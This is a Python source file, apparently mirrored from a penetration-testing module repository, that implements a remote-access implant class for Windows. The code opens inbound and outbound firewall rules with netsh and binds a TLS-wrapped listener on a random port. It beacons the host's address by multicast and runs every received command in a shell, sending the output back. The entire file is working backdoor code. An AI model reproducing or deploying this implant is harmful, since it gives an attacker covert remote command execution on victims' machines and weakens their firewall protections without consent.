mirror of
https://github.com/hak5/nano-tetra-modules.git
synced 2025-10-29 16:58:09 +00:00
152 lines
5.2 KiB
Python
Executable File
152 lines
5.2 KiB
Python
Executable File
import time
|
|
import subprocess
|
|
from random import randint
|
|
import platform
|
|
import threading
|
|
import sys
|
|
from ssl import *
|
|
from socket import *
|
|
|
|
class CursedScreech:
|
|
|
|
def __init__(self, progName):
|
|
self.ProgName = progName
|
|
self.msg = ""
|
|
self.lport = 0
|
|
self.certSerial = ""
|
|
self.threads = []
|
|
|
|
|
|
# ==================================================
|
|
# METHOD TO START THE MULTICAST THREAD
|
|
# ==================================================
|
|
def startMulticaster(self, addr, port, heartbeatInterval = 5):
|
|
# Set up a heartbeat thread
|
|
hbt = threading.Thread(target=self.sendHeartbeat, args=(addr,port,heartbeatInterval))
|
|
self.threads.append(hbt)
|
|
hbt.start()
|
|
|
|
|
|
# ====================================================
|
|
# MULTITHREADED SECURE LISTENER WITH SHELL EXECUTION
|
|
# ====================================================
|
|
def startSecureServerThread(self, keyFile, certFile, remoteCert):
|
|
sst = threading.Thread(target=self.startSecureServer, args=(keyFile,certFile,remoteCert))
|
|
self.threads.append(sst)
|
|
sst.start()
|
|
|
|
# ========================================================
|
|
# METHOD TO SET THE EXPECTED CERTIFICATE SERIAL NUMBER
|
|
# ========================================================
|
|
def setRemoteCertificateSerial(self, serial):
|
|
self.certSerial = serial
|
|
|
|
|
|
# ======================================
|
|
# HEARTBEAT THREAD
|
|
# ======================================
|
|
def sendHeartbeat(self, MCAST_GROUP, MCAST_PORT, hbInterval):
|
|
|
|
# Add a firewall rule in Windows to allow outbound UDP packets
|
|
addUDPRule = "netsh advfirewall firewall add rule name=\"" + self.ProgName + "\" protocol=UDP dir=out localport=" + str(MCAST_PORT) + " action=allow";
|
|
subprocess.call(addUDPRule, shell=True, stdout=subprocess.PIPE)
|
|
|
|
# Set up a UDP socket for multicast
|
|
sck = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)
|
|
sck.setsockopt(IPPROTO_IP, IP_MULTICAST_TTL, 2)
|
|
|
|
# Infinitely loop and send a broadcast to MCAST_GROUP with our
|
|
# listener's IP and port information.
|
|
while True:
|
|
ip = gethostbyname(gethostname())
|
|
if len(self.msg) > 0:
|
|
sck.sendto("msg:" + self.msg, (MCAST_GROUP, MCAST_PORT))
|
|
|
|
# Clear out the message
|
|
self.msg=""
|
|
|
|
sck.sendto(ip + ":" + str(self.lport), (MCAST_GROUP, MCAST_PORT))
|
|
time.sleep(hbInterval)
|
|
|
|
|
|
# ===================================================
|
|
# BLOCKING SECURE LISTENER WITH SHELL EXECUTION
|
|
# ===================================================
|
|
def startSecureServer(self, keyFile, certFile, remoteCert):
|
|
|
|
# Create a listener for the secure shell
|
|
ssock = socket(AF_INET, SOCK_STREAM)
|
|
ssock.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
|
|
listener = wrap_socket(ssock, ssl_version=PROTOCOL_SSLv23, keyfile=keyFile, certfile=certFile, cert_reqs=CERT_REQUIRED, ca_certs=remoteCert)
|
|
|
|
# Pick a random port number on which to listen and attempt to bind to it
|
|
# If it is already in use simply continue the process until an available
|
|
# port is found.
|
|
bound = False
|
|
while bound == False:
|
|
self.lport = randint(30000, 65534)
|
|
try:
|
|
listener.bind((gethostname(), self.lport))
|
|
bound = True
|
|
except:
|
|
bound = False
|
|
continue
|
|
|
|
# Set up rules in the firewall to allow connections from this program
|
|
addTCPRule = "netsh advfirewall firewall add rule name=\"" + self.ProgName + "\" protocol=TCP dir=in localport=xxxxx action=allow";
|
|
delFirewallRule = "netsh advfirewall firewall delete rule name=\"" + self.ProgName + "\"";
|
|
|
|
try:
|
|
# Delete old firewall rules if they exist
|
|
subprocess.call(delFirewallRule, shell=True, stdout=subprocess.PIPE)
|
|
|
|
# Add a firewall rule to Windows Firewall that allows inbound connections on the port
|
|
addTCPRule = addTCPRule.replace('xxxxx', str(self.lport))
|
|
subprocess.call(addTCPRule, shell=True, stdout=subprocess.PIPE)
|
|
except:
|
|
pass
|
|
|
|
listener.listen(5)
|
|
connected = False
|
|
|
|
# Begin accepting connections and pass all commands to execShell in a separate thread
|
|
while 1:
|
|
if not connected:
|
|
(client, address) = listener.accept()
|
|
connected = True
|
|
|
|
# Verify the client's certificate. If the serial number doesn't match
|
|
# kill the connection and wait for a new one.
|
|
if len(self.certSerial) > 0:
|
|
cert = client.getpeercert()
|
|
if not cert['serialNumber'] == self.certSerial:
|
|
connected = False
|
|
self.msg = "[!] Unauthorized access attempt on target " + gethostbyname(gethostname()) + ":" + str(self.lport)
|
|
continue
|
|
while 1:
|
|
try:
|
|
cmd = client.recv(4096)
|
|
|
|
if not len(cmd):
|
|
connected = False
|
|
break
|
|
|
|
shellThread = threading.Thread(target=self.execShellCmd, args=(client,cmd))
|
|
self.threads.append(shellThread)
|
|
shellThread.start()
|
|
except:
|
|
connected = False
|
|
break
|
|
|
|
listener.close()
|
|
|
|
|
|
# ======================================
|
|
# EXECUTE A CMD IN SHELL
|
|
# ======================================
|
|
def execShellCmd(self, sock, cmd):
|
|
proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
|
|
stdout_value = proc.stdout.read() + proc.stderr.read()
|
|
sock.sendall(stdout_value)
|
|
|
|
|